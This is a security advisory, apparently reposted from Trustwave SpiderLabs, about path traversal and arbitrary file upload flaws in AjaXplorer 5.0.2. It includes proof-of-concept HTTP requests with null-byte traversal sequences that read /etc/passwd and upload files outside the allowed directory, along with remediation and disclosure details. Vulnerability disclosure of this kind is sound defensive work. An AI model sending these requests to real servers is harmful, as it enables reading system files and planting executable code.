AjaXplorer 5.0.2 Shell Upload & Traversal

Credit: Vikas Singhal
Risk: High
Local: No
Remote: Yes

Trustwave SpiderLabs Security Advisory TWSL2013-027: Multiple Vulnerabilities in AjaXplorer Published: 09/05/13 Version: 1.0 Vendor: AjaXplorer (http://ajaxplorer.info) Product: AjaXplorer Version affected: 5.0.2 and prior Product description: AjaXplorer is an open source file sharing platform which relies on PHP and the web interface can run on various web server software, such as Apache and Nginx. Finding 1: Path Traversal *****Credit: Vikas Singhal of Trustwave SpiderLabs CVE: CVE-2013-5688 CWE: CWE-22 A path traversal vulnerability was found in the "edit" functionality of the application. This vulnerability may allow an attacker to view files outside the website's root directory. The following Proof of Concept (PoC) HTTP request illustrates the same. #Request 1. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=download&dir=%2F&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1 #Request 2. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=get_content&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1 Finding 2: Arbitrary File Upload *****Credit: Vikas Singhal of Trustwave SpiderLabs CVE: CVE-2013-5689 CWE: CWE-434 Using the application's upload functionality it was possible to upload arbitrary file outside the default directory and execute it. This may allow an attacker to execute arbitrary commands on the web server. Vulnerable HTTP request: #Request 1. POST /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=upload&xhr_uploader=true&dir=/%00../%00../data/ HTTP/1.1 Remediation Steps: The vendor has released a fix to address these vulnerabilities. Administrators should upgrade to AjaXplorer Core 5.0.3 or later. Alternatively, administers can mitigate these vulnerabilities by applying Web Application Firewall (WAF) rules. ModSecurity (http://www.modsecurity.org/) has added rules to the commercial rules feed for these issues, and WebDefend has protections as well. Vendor Communication Timeline: 8/29/13 - Vulnerability disclosed 9/03/13 - Patch released by vendor 9/05/13 - Advisory published References 1. http://ajaxplorer.info/ajaxplorer-core-5-0-3/ About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ________________________________ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

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